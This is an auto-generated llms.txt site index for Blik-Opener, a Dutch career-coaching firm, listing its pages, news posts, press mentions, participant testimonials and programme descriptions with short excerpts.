Gegenereerd door All in One SEO v5.0.0.1, dit is een llms.txt bestand, gebruikt door LLMs om de site te indexeren.

# Blik-Opener

Coaching en loopbaanprogramma's voor ondernemende en betrokken professionals.

## Sitemaps

- [XML Sitemap](https://www.blik-opener.nl/sitemap.xml): Contains all public & indexable URLs for this website.

## Berichten

- [Nieuws](https://www.blik-opener.nl/nieuws/)
- [testformulier](https://www.blik-opener.nl/testformulier/)
- [Excellente studenten van HvA aan de slag met branding](https://www.blik-opener.nl/excellente-studenten-van-hva-aan-de-slag-met-branding/) - Op 19 november hebben Wibichje en Arian een gastcollege verzorgd op de hogeschool van Amsterdam. Tijdens dit college hebben zij de excellente studenten meegenomen in de wereld van branding en personal branding. De studenten hebben zichzelf geassocieerd met een bekend brand maar de impact gemerkt van first impressions. Het was een interactief college dat goed
- [](https://www.blik-opener.nl/over-blik-opener-alles-wat-je-wil-weten-over-onze/)
- [](https://www.blik-opener.nl/nieuws-ons-1e-lustrum-gevierd-samen-met/)
- [](https://www.blik-opener.nl/generatieleren-vanuit-een/)
- [](https://www.blik-opener.nl/in-company-binden-en-boeien-hoe-benut-en-behoud/)
- [](https://www.blik-opener.nl/het-coachcafe-de-trendsetter-in-coachingsland/)
- [](https://www.blik-opener.nl/young-professionals-kruispunt-in-je-carriere/)
- [](https://www.blik-opener.nl/inspirerend-filmpje-van-steve-jobs/) - Inspirerend filmpje van Steve Jobs (Source: https://www.youtube.com/)
- [](https://www.blik-opener.nl/generaties-volgens-aart-bontekoning-het/)
- [](https://www.blik-opener.nl/neem-contact-op-met-arian-voor-vragen-over-het/)
- [](https://www.blik-opener.nl/neem-contact-op-met-frank-voor-in-company/)
- [](https://www.blik-opener.nl/intermediair-startersgids-2008-twee-bier-en/)
- [](https://www.blik-opener.nl/tue-magazine-2010-coachcafe-zet-jonge-alumni/)
- [Intermediair Magazine (2007): "Twee bier en een loopbaanadvies!"](https://www.blik-opener.nl/intermediair-magazine-2007-twee-bier-en-een/) - Intermediair Magazine (2007): "Twee bier en een loopbaanadvies!"Journalist Stephanie Bakker doet voor Intermediair verslag van het Blik-Opener Coachcafé in Club 11 te Amsterdam. Artikel lezen als pdf (met foto’s) of online (alleen tekst).
- [](https://www.blik-opener.nl/volkskrant-banen-2008-het/)
- [](https://www.blik-opener.nl/volkskrant-2011-30-droombanen-voor-je-30ste/)
- [](https://www.blik-opener.nl/nobiles-2010-studiespijt-switch-180-c/)
- [](https://www.blik-opener.nl/individuele-coaching-gesprekken-brengen-je-in/)
- [](https://www.blik-opener.nl/loopbaanprogramma-maak-werk-van-je/)
- [](https://www.blik-opener.nl/vu-avenir-2011-talent-is-jouw-manier-om-je/)
- [](https://www.blik-opener.nl/the-surprising-truth-about-what-motivates-us/) - The surprising truth about what motivates us. (Source: https://www.youtube.com/)
- [](https://www.blik-opener.nl/lees-onze-publicaties-in-de-pers/)
- [](https://www.blik-opener.nl/blik-opener-presenteert-generatieleren-aan-hr/)
- [](https://www.blik-opener.nl/terwijl-het-leven-verder-raast-lopen-we-vast-in/)
- [](https://www.blik-opener.nl/kennismaking-werken-met-generaties/)
- [Aanmelden voorjaarsprogramma](https://www.blik-opener.nl/aanmelden-voorjaarsprogramma/) - Je kunt je vanaf nu aanmelden voor het voorjaarsprogramma, dat van start gaat op donderdagavond 27 maart. Laat hier je gegevens achter en we nemen heel snel contact met je op.
- [Het Loopbaanprogramma](https://www.blik-opener.nl/het-loopbaanprogramma/) - Het Blik-Opener Loopbaanprogramma biedt een unieke combinatie van persoonlijke en professionele begeleiding en is speciaal ontwikkeld voor jonge professionals (25 t/m 35 jr.) die zich willen heroriënteren in hun loopbaan. Op dit moment wordt er in het voorjaar en najaar een loopbaanprogramma aangeboden. Het programma volg je met een groep van jonge professionals.Lees op deze pagina
- [](https://www.blik-opener.nl/nrc-weekend-lieve-loopbaancoach-zit-ik-op-de/)
- [Met trots presenteren wij...](https://www.blik-opener.nl/met-trots-presenteren-wij/) - Onze ‘Nieuwsbrief’, te zien op Prezi.com. Bekijk hem via de link hieronder.
- [Gemeente Amsterdam - Innovatielab](https://www.blik-opener.nl/innovatielab-voor-stadsdeel-west-gemeente-amsterdam/) - 11-12-13 Innovationday! Geen mooiere dag te bedenken om met 20 deelnemers, allen betrokken bij stadsdeel West / Sloterdijk1, aan de slag te gaan met het #innovatielab. Vandaag Staat in het teken van verhogen van werkenergie en het creëren van begrip en respect voor andere invalshoeken / meningen. In vier groepen wordt er op creatieve wijze
- [Blijf op de hoogte van onze events!](https://www.blik-opener.nl/blijf-op-de-hoogte-van-onze-events/) - Blijf op de hoogte van onze events!Wij sturen je meerdere malen per jaar een frisse nieuwsbrief, als je jouw contactgegevens aan ons doorgeeft.
- [](https://www.blik-opener.nl/blader-door-het-programmaboekje-van-het/)
- [In-Company](https://www.blik-opener.nl/in-company/) - Talentontwikkeling Blik-Opener ondersteunt organisaties bij het aantrekken, behouden en benutten van jong talent met een frisse blik op ontplooiing van jong talent in organisaties. Onze activiteiten kunnen op maat worden aangeboden en zijn modulair in te zetten, onder andere in talentprogramma’s, traineepools en management development programma’s. Hoe bind en boei je als organisatie young professionals
- [Mini Blik-Opener Carrièrebeurs 2017](https://www.blik-opener.nl/mini-blik-opener-carrierebeurs-2017/) - Zin om een kijkje in de spiegel te nemen en op zoek te gaan naar je eigen aannames?Sluit je aan bij de interactieve workshop van Frank en Christine op vrijdag 17 maart tijdens de Carrièrebeurs in de RAI Amsterdam. Kom tot een frisse ontmoeting met jezelf en krijg een meet & greet met je grote
- [Meld je aan voor de BO Inspirational](https://www.blik-opener.nl/meld-aan-bo-inspirational/) - Doorwerken aan je loopbaan?De leiding in je eigen loopbaan wordt je door niemand gegeven, die neem je zelf! Het is tijd voor een plan de campagne om jouw niche in de markt te veroveren… Kom naar Blik-Opener op vrijdag 21 april in De Roos in Amsterdam. Van 11.00 tot 16.00 uur maken wij voor jou een
- [Purpose: het magische woord voor de komende jaren](https://www.blik-opener.nl/purpose-magische-woord-komende-jaren/) - Purpose wordt het nieuwe toverwoord voor de komende twee jaar. Zowel voor bedrijven als voor individuen. Bedrijven als Unilever, maar ook jonge start-ups, zijn zich steeds meer bewust dat zij moeten nadenken over hun oorsprong en hun hoger doel. Op de Purpose Day van 17 november 2017 kwam dit heel duidelijk naar voren. Het
- [Geef een carrière cadeau](https://www.blik-opener.nl/geef-carriere-cadeau/) - Voor iedereen die er klaar voor is om de volgende stap in zijn of haar loopbaan te zetten. Maak kennis met Blik-Opener en maak gebruik van de speciale ‘Geef een carrière cadeau-voucher‘. Een voucher voor een coachingsessie bij Blik-Opener voor slechts 50 euro (normaal 125 euro). Mooi als cadeau voor iedereen die wel een zetje kan
- [Mei 2018 start nieuw Loopbaanprogramma](https://www.blik-opener.nl/mei-start-nieuw-loopbaanprogramma/) - In mei 2018 gaat er een nieuw loopbaanprogramma van start. Het loopbaanprogramma biedt een unieke combinatie van persoonlijke en professionele begeleiding en is speciaal ontwikkeld voor young professionals die zich willen heroriënteren in hun loopbaan. Met gezamenlijke sessies op 18 mei, 1 juni en 15 juni én vier individuele coachingssessies.
- [25 jaar en een burn-out....](https://www.blik-opener.nl/25-jaar-en-burn-out/) - Bregje Hofstede schreef essays over haar eigen ervaring. Welke rol speelde haar lichaam in de mentale uitputting? "Burn-out is een gebrek aan leegte.” Lees het hele artikel in de NRC. https://www.nrc.nl/nieuws/2016/12/16/ik-leefde-supergezond-voelde-me-superkut-5819896-a1536840
- [Unieke samenwerking Time4Society](https://www.blik-opener.nl/samenwerking-time4society/) - Blik-Opener werkt vanaf december 2016 samen Time4Society. Time4Society wil de inzet voor de gemeenschap koppelen aan teamvorming, sociale teambuilding. En in dat proces ook bevorderen dat alle deelnemers hun eigen talenten onder een nieuw licht kunnen ontdekken. Time4Society is tijd geven aan de maatschappij. Zij nodigen een bedrijf of organisatie uit om medewerkers voor
- [Coachen met cijfers](https://www.blik-opener.nl/coachen-met-cijfers/) - Sinds deze maand adviseert Blik-Opener indien gewenst ook met een financieel sausje. We zijn daartoe een samenwerking aangegaan met Clemens Klappe van SMK Raad. Als je daar behoefte aan hebt, helpt Clemens een volgende stap financieel inzichtelijk te maken, zowel zakelijk als privé. Sinds 13 mei 1998 heeft Clemens Klappe zijn eigen onderneming, SMK Raad.
- [Jong Den Haag op weg naar de 'motion'](https://www.blik-opener.nl/interactieve-workshop-jong-haag/) - Op 24 november 2016 was Blik-Opener present tijdens het JDH Symposium ‘Slow Motion’ van Gemeente Den Haag. Dit symposium stond in het teken van vertraging en bewustwording (slow), maar toch in beweging blijven en jezelf blijven ontwikkelen (motion). Hoe mooi kon Blik-Opener daarbij aansluiten door het geven van een interactieve workshop waarin we iedereen meegenomen
- [Blik-Opener opent ogen tijdens de Carrièredagen](https://www.blik-opener.nl/nederlandse-carrieredagen-2016/) - Op vrijdag 25 november 2016 gaven onze Blik-Opener-collega's een druk bezochte, zeer leerzame workshop tijdens De Nederlandse Carrieredagen in Utrecht over ‘Jouw talent versus jouw loopbaan’. In een bomvolle zaal met meer dan 130 belangstellenden, gaven Frank en Yentl een wervelende interactieve workshop. Aan de hand van de vier elementen aarde, water, lucht en vuur werkten
- [Geslaagd Coachcafe voor alumni van De Haagse Hogeschool](https://www.blik-opener.nl/geslaagd-coachcafe-voor-alumni-van-de-haagse-hogeschool/) - Enthousiaste young professionals, leuke coaches, mooie locatie en wijn & bitterballen: de ingrediënten voor een geslaagd Coachcafe voor alumni van De Haagse Hogeschool! De sfeer zit er goed in, de deelnemers ontdekken talenten, onderzoeken dromen en formuleren concrete vervolgstappen. > Arian van Rijssen > Bel 06 23 85 26 80 > > Bekijk onze nieuwe
- [Stagiair gezocht](https://www.blik-opener.nl/stagiair-gezocht/) - Blik-Opener coaching voor young professionals zoekt iemand met een vlotte babbel/pen en passie voor talenten… Een campagnetijger. Vanaf september hebben wij een stageplek! Iets voor jou? Lees meer over onze Vacature Stagiar media en communicatie en neem contact met ons op!
- [](https://www.blik-opener.nl/van-ede-partners-blik-opener-werkt-sinds-haar/) - Van Ede & Partners Blik-Opener werkt sinds haar oprichting nauw samen met founding partner Van Ede & Partners. De consulenten en vestigingen van Van Ede hebben in belangrijke mate bijgedragen aan het totstandkomen van onze onderneming. Nog steeds maken wij dankbaar gebruik van haar locaties en netwerk. Van Ede & Partners vormt een uniek samenwerkingsverband
- [De Pers (2008): "Werken aan je Carrière in een Hippe Club"](https://www.blik-opener.nl/de-pers-2008-werken-aan-je-carriere-in-een-hippe/) - De Pers (2008): "Werken aan je Carrière in een Hippe Club" Dagblad De Pers schrijft over het Coachcafé.
- [](https://www.blik-opener.nl/video-impressie-voor-veel-twintigers-en-dertigers/) - Video Impressie Voor veel twintigers en dertigers blijkt het vinden van een ideale baan nog niet zo’n makkelijke opgave. Dit komt niet alleen doordat droombanen niet voor het oprapen liggen maar ook omdat veel jonge professionals niet goed weten wat ze nou echt willen. Daarnaast is het aantal carrièremogelijkheden ontzettend groot, wat het maken van
- [Nieuwsblad UT (2010): "Talenten, Dromen en een Volgende Stap"](https://www.blik-opener.nl/nieuwsblad-ut-2010-talenten-dromen-en-een-volgende/) - Nieuwsblad UT (2010): "Talenten, Dromen en een Volgende Stap" Universiteit Twente schrijft over de Coachcafé die ze met Blik-Opener organiseert voor haar studenten.
- [](https://www.blik-opener.nl/de-deelnemers-aan-onze-programmas-zijn-nu-onder/) - De deelnemers aan onze programma’s zijn nu onder andere werkzaam bij deze organisaties.
- [](https://www.blik-opener.nl/de-avond-heeft-mij-verrast-ik-dacht-van-te-voren/) - De avond heeft mij verrast! Ik dacht van te voren ‘hoe kunnen coaches mij nou verder helpen in mijn zoektocht naar een baan?’ Door de gesprekken met de coaches heb ik meer talenten van mijzelf kunnen benoemen en openingen gevonden die ik kan gebruiken bij het zoeken naar een baan. - Deelnemer Irene
- [](https://www.blik-opener.nl/quoterinske/) - Duiken is geen optie, je moet gewoon gaan! Het programma is een enorme boost om de volgende stap te zetten en een fantastisch avontuur om te beleven met professionals die in het zelfde schuitje zitten. Deelnemer Nienke
- [Vandaag zijn er weer 6 coaches getraind](https://www.blik-opener.nl/vandaag-zijn-er-weer-6-coaches-getraind/) - Vandaag was Arian weer bij de Radboud Universiteit. Dit keer om 6 coaches te trainen van het team Personeel & Organisatie. Zij gaan met elkaar het Coachcafe op 9 oktober voor PHD's en Postdoc's begeleiden. Het uitzicht tijdens de training was spectaculair! > Arian van Rijssen > Bel 06 23 85 26 80 > >
- [Het Blik-Opener Coachcafé](https://www.blik-opener.nl/het-blik-opener-coachcafe/) - JE EIGEN CARRIÈREPAD, HOE GEEF JE DAT EIGENLIJK VORM? Nou, door gewoon eens in gesprek te gaan met mensen die er wat van weten. Mensen die zelf ook hebben geworsteld om hun eigen antwoorden te vinden. Tegenwoordig heten ze coaches. Met hen duiken we een café in. Er komen gesprekken tot stand en je wordt
- [](https://www.blik-opener.nl/leuk-gezellig-goede-sfeer-goede-opzet/) - Leuk, gezellig, goede sfeer, goede opzet, leerzaam! Ook een plus voor de samenstelling van de club coaches: lekker divers en dat stelde me in staat om een keus te maken. Ondanks dat ik wel eerder iets vergelijkbaars heb gedaan heeft dit me nu wel opgepookt om niet te blijven overwegen maar echt wat te gaan
- [](https://www.blik-opener.nl/ik-typeer-het-programma-van-blik-opener-als-een/) - Ik typeer het programma van Blik-Opener als een ‘De Wereld Draait Door’ programma. Veel dynamiek, snel naar de kern, krachtig en geen poespas. Het programma paste goed bij de loopbaanvragen die ik had. - Deelnemer Anne
- [](https://www.blik-opener.nl/coachcafe-impressies/) - Coachcafé Impressies
- [Generatieleren in 4 minuten uitgelegd](https://www.blik-opener.nl/generatieleren-in-4-minuten-uitgelegd/) - In 4 min uitgebeeld hoe Blik-Opener generatieleren in de praktijk brengt!
- [HR World Café met Peperclip](https://www.blik-opener.nl/hr-world-cafe-met-peperclip/) - HR World Café met PeperclipStudentenadviesbureau Peperclip voerde in opdracht van Blik-Opener een onderzoek naar de meest prangende uitdagingen voor HR managers in het aantrekken, ontwikkelen en behouden van jonge professionals. Lees de resultaten in dit artikel.
- [Generatieleren](https://www.blik-opener.nl/generatieleren/) - Elke generatie kijkt naar de werkelijkheid vanuit sterke waarden. Deze waarden zijn gevormd in de periode waarin men is opgegroeid en hebben onbewust invloed op hoe mensen handelen binnen een organisatie. De uitdaging is om van ieders generatietalent te leren en deze aan te wakkeren, te benutten en te verbinden. Generatieleren biedt organisaties een vernieuwend
- [Emile](https://www.blik-opener.nl/tijdens-de-coachgesprekken-werd-ik-gesterkt-om-een/) - Tijdens de coachgesprekken werd ik gesterkt om een andere aanpak te kiezen in mijn sollicitatiegesprekken. Vervolgens heb ik mijn leidinggevende een brief gestuurd met daarin de wens dat ik hogerop wilde in het bedrijf. Het duurde even voordat mijn organisatie er klaar voor was, maar ik ben nu verheugd om je te kunnen vertellen dat
- [Claire](https://www.blik-opener.nl/nooit-gedacht-dat-ik-twee-compleet-verschillende/) - Nooit gedacht dat ik twee compleet verschillende interesse gebieden met elkaar kon verenigen. Ik werkte op de marketingafdeling van een groot commercieel bedrijf, maar wilde het liefst met kinderen werken. Eén inzicht heeft mijn hele loopbaanstap veranderd. Namelijk dat ik mijn marketingervaring ook kan inzetten binnen de kinderopvang. Ik ben ervoor gegaan en heb een
- [Het coachtraject](https://www.blik-opener.nl/opbouw-coachtraject-de-beat-van-een-individueel/) - Opbouw coachtraject De beat van een individueel coachtraject volgt tenminste de volgende fasen: 1. De ontmoeting ‐ Down the Rabbit Hole Ontdek je sterktes - Wat is je talent? Wat is je aanbod? 2. De ontdekking ‐ Pandora’s Box Verbeeld je droom - Wat is je verlangen? Wat wil je uitvergroten? Waar wil je aan
- [](https://www.blik-opener.nl/ik-werd-gedwongen-om-stil-te-staan-bij-wat-mij/) - Ik werd gedwongen om stil te staan bij wat mij drijft. Doordat tijdens het traject prikkelende vragen werden gesteld, heb ik langzaamaan een plaatje kunnen maken van mijn drijfveren. Hierdoor heb ik helder gekregen wat ik zoek in een baan en welke stappen ik kan nemen om een dichterbij dé droombaan te komen. Ik kan
- [](https://www.blik-opener.nl/coachcafe-tu-delft-op-woensdag-13-april-zaten/) - Coachcafé @ TU Delft Op woensdag 13 april zaten we in een afgeladen theater bij de TU Delft met 50 alumni en 20 coaches. Het Coachcafé was drie weken voor aanvang uitverkocht. Wie dacht er dan bèta studenten geen behoefte aan coaching hebben..?!
- [](https://www.blik-opener.nl/mocht-je-je-afvragen-bij-welke-organisaties-onder/) - Mocht je je afvragen bij welke organisaties onder alumni onder andere werkzaam zijn…
- [](https://www.blik-opener.nl/organisatie-ontwikkeling-hoe-maak-je/) - Organisatie-Ontwikkeling Hoe maak je beslissingen duurzaam door young professionals actief te betrekken bij strategische keuzes? Hoe benut je de vernieuwingskracht van de jongere generatie?
- [](https://www.blik-opener.nl/mobiliteit-hoe-bind-je-op-een-goede-manier/) - Mobiliteit Hoe bind je op een goede manier talent? Hoe maak je een passend werkaanbod per levensfase van elke nieuwe generatie binnen de organisatie?
- [](https://www.blik-opener.nl/talentretentie-hoe-binden-en-boeien-organisaties/) - Talentretentie Hoe binden en boeien organisaties young professionals en trainees? Hoe geef je hen een plek in je organisatie? En hoe verbinden zij zich optimaal aan de organisatie?
- [](https://www.blik-opener.nl/kick-off-mci-honours-programma-van-hogeschool-van/) - Kick-Off MCI Honours programma van Hogeschool van Amsterdam Afgelopen 9 en 10 september gingen 21 studenten van start met hun honoursprogramma. Aankomend jaar zullen zij bovenop hun vakkenpakket volop bezig zijn met hun persoonlijke ontwikkeling om een stevige eerste stap op de arbeidsmarkt te maken. In een creatief dynamische kick-off hebben zij kennis gemaakt met elkaar,
- [](https://www.blik-opener.nl/voor-het-team-van-aiesec-nederland-organiseerde/) - Voor het team van AIESEC Nederland organiseerde Blik-Opener een loopbaantraining. De training vond plaats aan het einde van hun bestuursjaar. En leverde input op ter voorbereiding op hun volgende loopbaanstap. Voor de een was dit de keuze voor een masteropleiding, voor de ander een levendige fantasie voor een eigen onderneming.
- [](https://www.blik-opener.nl/rudolf-magnus-institute-voor-promovendi-van-het/) - RUDOLF MAGNUS INSTITUTE Voor promovendi van het Rudolf Magnus Institute of Neuroscience (onderdeel van Universitair Medisch Centrum Utrecht) verzorgt Blik-Opener elk jaar een Coachcafe & Netwerkcafe. Dit biedt de laatste jaars promovendi de mogelijkheid om te verkennen wat hun volgende loopbaanstappen worden en wat zij de wetenschap en/of het bedrijfsleven te bieden hebben. Op de
- [](https://www.blik-opener.nl/generatiecafe-voor-hollandse-nieuwe-het/) - GENERATIECAFE VOOR HOLLANDSE NIEUWE Het ‘GeneratieCafe’ inspireerde de jonge professionals van Hollandse Nieuwe om te benoemen wat hun onderscheidende generatievermogen is en wat de kracht van andere generaties is. Wij verwachten dat de workshop bij gaat dragen aan effectieve samenwerking met de verschillende generaties binnen FloraHolland.
- [Blik-Opener Agenda](https://www.blik-opener.nl/blik-opener-agenda/) - Wij ontmoeten je graag! 29 Nov // Workshops @ Nederlandse carrieredagen Welk merk ben jij? Hoe pas jij branding toe?
- [Generatieleren in de praktijk](https://www.blik-opener.nl/generatieleren-in-de-praktijk/) - Natuurlijk kunnen wij de vraag beantwoorden: Hoe zet je generatieleren in de dagelijkse praktijk in?. Zie hierbij een aantal van onze voorbeelden, die wij o.a. implementeerden bij Gemeente Amsterdam - Stadsdeel West. ‘Het duet’ staat voor een wederzijdsleertraject waarin duo’s van twee verschillende generaties met elkaar optrekken in de organisatie. Vanuit nieuwsgierigheid naar elkaars
- [](https://www.blik-opener.nl/each-generation-wants-new-symbols-new-people-new/) - Each generation wants new symbols, new people, new names. They want to divorce themselves from their predecessors. - Jim Morrison
- [Individuele Coaching](https://www.blik-opener.nl/individuele-coaching/) - Matching met de juiste coach Ook voor individuele coaching kun je bij Blik-Opener terecht. Onze individuele trajecten staan bekend om een sterk talent- en ervaringsgerichte aanpak. Je ontdekt, toetst en waardeert je talent. Je leert waar om jouw talent gevraagd wordt en dus tot zijn recht komt. Je maakt werk van je dromen en richt
- [](https://www.blik-opener.nl/het-blik-opener-loopbaanprogramma-heeft-mij-het/) - Het Blik-Opener loopbaanprogramma heeft mij het vertrouwen gegeven dat er een organisatie is die mijn kernrol als doorontwikkelaar weet te waarderen en de tools gegeven om daar naar te zoeken, namelijk: minder letten op de vakkennis die ik heb en meer op de talenten die ik van nature inzet! - Deelnemer Frederike
- [Over Blik-Opener](https://www.blik-opener.nl/over-blik-opener/) - Blik-Opener ontwikkelt sinds 2006 programma’s en ‘gereedschap’ om jong talent tot bloei te laten komen. In haar programma’s combineert Blik-Opener de wijsheid van ervaren professionals met de vernieuwingskracht en frisse ideeën van jonge professionals. Blik-Opener wordt mede mogelijk gemaakt door loopbaancoaches, theatermakers, visueel vertalers, levenskunstenaars, vrijdenkers, wereldverbeteraars, ondernemers en volkshelden.
- [](https://www.blik-opener.nl/als-starter-sta-je-voor-belangrijke/) - Als starter sta je voor belangrijke loopbaankeuzes, maar honderden euro’s voor een coach heb je niet. Tijdens het Coachcafé kun je voor een paar tientjes een hele avond sparren met professionele loopbaanbegeleiders. - Intermediair Magazine
- [](https://www.blik-opener.nl/bnr-nieuwsradio-zend-een-radio-reportage-uit-over/) - BNR Nieuwsradio zend een radio reportage uit over het Coachcafé voor Ondernemers op 12 maart 2009.
- [Intermediair Magazine (2009): "Generatie Y: We kunnen hem hebben, die crisis!"](https://www.blik-opener.nl/intermediair-magazine-2009-generatie-y-we-kunnen/) - Intermediair Magazine (2009): "Generatie Y: We kunnen hem hebben, die crisis!"Interview met Thomas over hoe de nieuwe generatie omgaat met de arbeidsmarktdip.
- [Nobiles (2007): "Meer Coaching voor Minder Geld"](https://www.blik-opener.nl/nobiles-2007-meer-coaching-voor-minder-geld/) - Nobiles (2007): "Meer Coaching voor Minder Geld"Carrièreblad Nobiles schrijft over het Coachcafé.
- [Carp* (2007): "Coaching in de Kroeg"](https://www.blik-opener.nl/carp-2007-coaching-in-de-kroeg/) - Carp* (2007): "Coaching in de Kroeg"Carrièreblad Carp* schrijft over het Coachcafé.
- [](https://www.blik-opener.nl/enerverend-het-was-voor-mij-erg-verrassend-hoe/) - Enerverend! Het was voor mij erg verrassend hoe verhelderend het werkt om in een andere omgeving te beseffen waar mijn belangrijkste punt van aandacht ligt. Dat komt dus enerzijds omdat je aan een onbekende moet uitleggen wat je zou willen doen en anderzijds doordat de coaches precies weten welke vragen ze moeten stellen. Voor mij
- [](https://www.blik-opener.nl/blik-opener-dwong-mij-om-de-koe-bij-de-horens-te/) - Blik-Opener dwong mij om de koe bij de horens te vatten en de dingen écht aan te pakken. Zo vroeg in mijn loopbaan is dat wel echt goed. Ik kon geen verstoppertje meer spelen. Ik kon mezelf kwetsbaar opstellen. Iederéén stelde zichzelf kwetsbaar op. Het gaat ook om ‘Welke bril zet je op?’ Houding is
- [](https://www.blik-opener.nl/blik-opener-heeft-al-mijn-verwachtingen/) - Blik-Opener heeft al mijn verwachtingen overtroffen. Alles wat ik impliciet al wel wist is door het programma expliciet gemaakt. Je gaat echt op zoek naar de intrinsieke motivatie. Naast het feit dat de groep ontzettend leuk en gemêleerd is, is het allerbelangrijkste dat je echt tijd aan jezelf kunt besteden. Ik ben veel zelfbewuster geworden
- [](https://www.blik-opener.nl/hey-mensen-ik-kan-jullie-vertellen-dat-wouter-en/) - Hey mensen, Ik kan jullie vertellen dat Wouter en ik de afgelopen tijd intensief contact met elkaar hebben gehad met als uiteindelijke resultaat dat wij beiden een nieuwe job hebben! Sterker nog, we ‘switchen’ naar elkaars werkgever!!! Hij gaat op mijn afdeling bij ING werken en ik op zijn afdeling bij Henkel. Zo zie je
- [](https://www.blik-opener.nl/op-de-beursvloer-van-de-nederlandse-carrieredagen/) - Op de beursvloer van de Nederlandse Carrieredagen verzorgt Blik-Opener sinds 2009 het live Coachcafe. Honderden jonge professionals kunnen er per dag deelnemen aan een coachronde. De Blik-Opener obers bevragen de jonge professionals op hun loopbaanvraag en bieden hun daarna een potje thee aan bij Coach “De Vertrager”, een energiedrankje bij “De versneller”, een toverstaf bij “De
- [Resultaten](https://www.blik-opener.nl/resultaten/) - Wat levert het groepsprogramma op? Na afloop van het programma heb je een goed overzicht van de markt waarin je te werk gaat en een groeiend netwerk dat aansluit bij jouw visie en ambitie. Je hebt een gestructureerd plaatje van de vervolgstappen die je gaat zetten. Je hebt lastige vraagstukken doorgewerkt die je voorheen terughielden

## Pagina's

- [Blik-Opener](https://www.blik-opener.nl/) - Blik-Opener Blik-Opener Loopbaanbegeleiding en coaching voor millennials en ervaren professionals. Een carrière impuls !
- [Contact](https://www.blik-opener.nl/contact-2/) - Neem contact met ons op als je vragen hebt over coaching, loopbaanadvies of generatielerenVestiging Amsterdam Nassaukade 340-a 1053 LW Amsterdam Vestiging Enschede Voogsgerdburg 357511 MA Enschede Vestiging Noordwijk Offemweg 15 2201 HB Noordwijk 06 – 41 60 44 77 info@blik-opener.nl KVK 08122009 Naam E-mail Telefoonnummer Waar wil jij je voor aanmelden? Ik meld me aan
- [Coaching en loopbaanbegeleiding](https://www.blik-opener.nl/individuele-coaching/) - Coaching en loopbaanbegeleidingOnze individuele trajecten staan bekend om een sterk talent- en ervaringsgerichte aanpak. Je ontdekt, toetst en waardeert je talent. Je leert waar om jouw talent gevraagd wordt en dus tot zijn recht komt. Je maakt werk van je dromen en stelt je loopbaankompas daar op af. Je bouwt een netwerk op in de
- [Coaching en loopbaanbegeleiding](https://www.blik-opener.nl/individuele-coaching-3/) - Coaching en loopbaanbegeleidingOnze individuele trajecten staan bekend om een sterk talent- en ervaringsgerichte aanpak. Je ontdekt, toetst en waardeert je talent. Je leert waar om jouw talent gevraagd wordt en dus tot zijn recht komt. Je maakt werk van je dromen en stelt je loopbaankompas daar op af. Je bouwt een netwerk op in de
- [Geef een carrière cadeau](https://www.blik-opener.nl/geef-een-carriere-cadeau/) - Geef een carrière cadeau!Maak kennis met Blik-Opener en maak gebruik van de speciale ‘Geef een carrière cadeau-voucher‘. Een voucher voor een coachingsessie bij Blik-Opener voor slechts 35 euro (normaal 125 euro). Mooi als cadeau voor iedereen die wel een zetje kan gebruiken om de volgende stap in zijn of haar loopbaan/carrière te zetten. En misschien
- [Keuzestress!](https://www.blik-opener.nl/keuzestress/) - Keuzestress: hoe de juiste keuzes te makenIn deze tijd van ongekende mogelijkheden en informatie ‘overlast’, kan je het spoor gemakkelijk bijster raken. Wat moet ik met al die informatie? Hoe weet ik dat ik de juiste keuzes maak? Hoe geef ik mijn leven richting? En past die richting het beste bij mij of meer bij
- [Coaches](https://www.blik-opener.nl/coaches/) - Onze coachesFrank ZuidingaOprichterFrank is van huis uit historicus en werkt als vestigingsdirecteur bij Van Ede & Partners. Daarvoor werkte Frank als programmamaker van MBA opleidingen bij TSM Business School van de Universiteit Twente. Frank heeft een jarenlange ervaring in het samenstellen van bedrijfsopleidingen en het coachen van managers. Frank krijgt energie van het bedenken én
- [Talentontwikkeling in organisaties](https://www.blik-opener.nl/bedrijfsprogramma/) - Talentontwikkeling in organisatiesBlik-Opener ondersteunt organisaties bij het aantrekken, behouden en benutten van jong talent. Wij hebben een frisse blik op ontplooiing van jong talent in organisaties. Onze activiteiten kunnen op maat worden aangeboden en zijn modulair in te zetten, onder andere in talentprogramma’s, traineepools en management development programma’s. Hoe bind en boei je als organisatie
- [Generatieleren](https://www.blik-opener.nl/generatieleren/) - GeneratielerenSnapt U soms ook helemaal niks van de jonge nieuwe medewerkers? Die zonder schroom beweren dat ze iets kunnen, en niet zonder hun mobieltje kunnen? Of word jij soms moedeloos van alle stukken die je voor je baas moet schrijven, wil je het gewoon gaan doen? Dit kan duiden op een generatiekloof. Elke generatie kijkt
- [Inspirational](https://www.blik-opener.nl/blik-opener-inspirational/) - Meld je aan voor de Blik-Opener InspirationalDe leiding in je eigen loopbaan wordt je door niemand gegeven, die neem je zelf! Het is tijd voor een plan de campagne om jouw niche in de markt te veroveren… Kom naar Blik-Opener op vrijdag 21 april in De Roos in Amsterdam. Van 11.00 tot 16.00 uur maken wij
- [Coachcafé](https://www.blik-opener.nl/coachcafe-2/) - Je eigen carrièrepad, hoe geef je dat eigenlijk vorm?Nou, door gewoon eens in gesprek te gaan met mensen die er wat van weten. Mensen die zelf ook hebben geworsteld om hun eigen antwoorden te vinden. Tegenwoordig heten ze coaches. Met hen duiken we een café in. Er komen gesprekken tot stand en je wordt uitgedaagd
- [Loopbaanprogramma](https://www.blik-opener.nl/loopbaanprogramma/) - Het loopbaanprogrammaHet loopbaanprogramma biedt een unieke combinatie van persoonlijke en professionele begeleiding en is speciaal ontwikkeld voor young professionals (25 – 35 jaar) die zich willen heroriënteren in hun loopbaan. Het programma volg je met een groep van jonge professionals. Lees op deze pagina ook eens de quotes van oud-deelnemers om een indruk te krijgen van
- [IN-COMPANY](https://www.blik-opener.nl/bedrijven/) - TALENTONTWIKKELING Blik-Opener ondersteunt organisaties bij het aantrekken, behouden en benutten van jong talent met een frisse blik op ontplooiing van jong talent in organisaties. Onze activiteiten kunnen op maat worden aangeboden en zijn modulair in te zetten, onder andere in talentprogramma’s, traineepools en management development programma’s. Hoe bind en boei je als organisatie young professionals

## Portfolio

- [Hogeschool van Amsterdam - Talent-Trip](https://www.blik-opener.nl/bedrijven/talent-trip-workshop-kennismakingsworkshop-met/) - Kennismakingsworkshop met talentontwikkeling. Middels de vier elementen water, vuur, aarde en lucht, laten wij je de kracht van metaforen ervaren bij het ontdekken en formuleren van jouw talent. Een succes op de CarriereBeurs. Studenten van Hogeschool van Amsterdam hebben er ook aan kunnen proeven tijdens het college ‘Talentontwikkeling’
